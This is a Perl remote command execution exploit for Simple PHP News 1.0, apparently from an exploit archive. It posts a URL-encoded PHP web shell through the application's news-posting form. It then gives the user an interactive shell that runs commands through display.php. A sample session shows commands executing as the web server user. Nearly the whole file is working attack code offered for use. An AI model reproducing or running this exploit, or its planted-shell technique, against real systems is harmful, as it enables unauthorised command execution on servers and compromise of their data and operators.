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simplephpnews-exec.txt

Posted on 06 February 2009

#!/usr/bin/perl

# -----------------------------------------------------------------------------
#                      INFORMATIONS
# -----------------------------------------------------------------------------

# App   => Simple PHP News 1.0 Final
# Downl => http://www.hotscripts.com/jump.php?listing_id=66376&jump_type=1

# Remote Command Execution Exploit
# by Osirys
# osirys[at]autistici[dot]org
# osirys.org
# Thx&Greets to: evilsocket

# A personal comment :  just bleah !!

# Tested with: Magic Quotes => Off

# ------------------------------------------------------------------
# Exploit in action [>!]
# ------------------------------------------------------------------
# osirys[~]>$ perl rce_lol.txt http://localhost/php_simple_news/

#   ---------------------------------
#      Simple PHP News RCE Exploit
#               by Osirys
#   ---------------------------------

# [*] Adding new evil news ..
# [*] RCE Created !
# [&] Hi my master, do your job now [!]

# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> pwd
# /home/osirys/web/php_simple_news
# shell[localhost]$> exit
# [-] Quitting ..
# osirys[~]>$
# ------------------------------------------------------------------

use LWP::UserAgent;
use IO::Socket;
use HTTP::Request::Common;

my $post_pag  =  "/post.php";
my $rce_path  =  "/display.php";
my $rand = int(rand 99) +1;
my $host      =  $ARGV[0];


($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);

my $date = &date;
my $url = $path.$post_pag;

my $code = "title=Shout&date=".$date. "&post=%3C%3Fphp%0D%0Aecho+".
"%22shoutZ0".$rand."%22%3B%0D%0Aif%28get_magic_quotes_".
"gpc%28%29%29%7B%0D%0A+++%24_GET%5Bcmd%5D%3Dstripslash".
"es%28%24_GET%5Bcmd%5D%29%3B%0D%0A%7D%0D%0Asystem%28%2".
"4_GET%5Bcmd%5D%29%3B%0D%0Aecho+%22-0Ztuohs".$rand."%2".
"2%3B%0D%0A%3F%3E";

my $length = length($code);

my $data = "POST ".$url." HTTP/1.1
".
"Host: ".$h0st."
".
"Keep-Alive: 300
".
"Connection: keep-alive
".
"Content-Type: application/x-www-form-urlencoded
".
"Content-Length: ".$length."

".
$code."
";

my $socket   =  new IO::Socket::INET(
PeerAddr => $h0st,
PeerPort => '80',
Proto    => 'tcp',
) or die "[-] Can't connect to $h0st:80
[?] $! 

";

print "[*] Adding new evil news ..
";
$socket->send($data);

while ((my $e = <$socket>)&&($own != 1)) {
if ($e =~ /Entry added successfully/) {
$own = 1;
print "[*] RCE Created ! 
";
}
}
$own == 1 || die "[-] Can't send new news !
";

print "[&] Hi my master, do your job now [!]

";
&exec_cmd;

sub exec_cmd {
my(@outs,$out);
$h0st !~ /www./ || $h0st =~ s/www.//;
print "shell[$h0st]$> ";
$cmd = <STDIN>;
$cmd !~ /exit/ || die "[-] Quitting ..
";
$exec_url = $host.$rce_path."?cmd=".$cmd;
$re = get_req($exec_url);
$content = tag($re);
if ($content =~ /shoutZ0$rand(.*)-0Ztuohs$rand/) {
$out = $1;
@outs = split //, $out;
foreach my $e(@outs) {
$e =~ s/*/
/;
print $e;
}
&exec_cmd;
}
elsif ($content =~ /shoutZ0$rand-0Ztuohs$rand/) {
$c++;
$cmd =~ s/
//;
print "bash: ".$cmd.": command not found
";
$c < 3 || die "[-] Command are not executed.
[-] Something wrong. Exploit Failed !

";
&exec_cmd;
}
}

sub date {
my $year  = (localtime)[5] + 1900;
my $month = (localtime)[4];
my $day   = (localtime)[3];
$month =~ s/([0-9]{1})/0$1/ if ($month =~ /[0-9]{1}/);
$day   =~ s/([0-9]{1})/0$1/ if ($day =~ /[0-9]{1}/);
my $date = $month."/".$day."/".$year;
return($date);
}

sub get_req() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return $response->content;
}

sub cheek() {
my $host = $_[0];
if ($host =~ /http://(.*)/) {
return 1;
}
else {
return 0;
}
}

sub get_input() {
my $host = $_[0];
$host =~ /http://(.*)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)//$1/;
$full_det = $h0st." ".$path;
return $full_det;
}

sub tag() {
my $string = $_[0];
$string =~ s/
/*/g;
return($string);
}

sub banner {
print "
".
"  --------------------------------- 
".
"     Simple PHP News RCE Exploit    
".
"              by Osirys             
".
"  --------------------------------- 

";
}

sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "
[-] Bad hostname! 
";
}
elsif ($error == -2) {
&banner;
print "
[-] Bad hostname address !
";
}
print "[*] Usage : perl $0 http://hostname/cms_path

";
exit(0);
}

 

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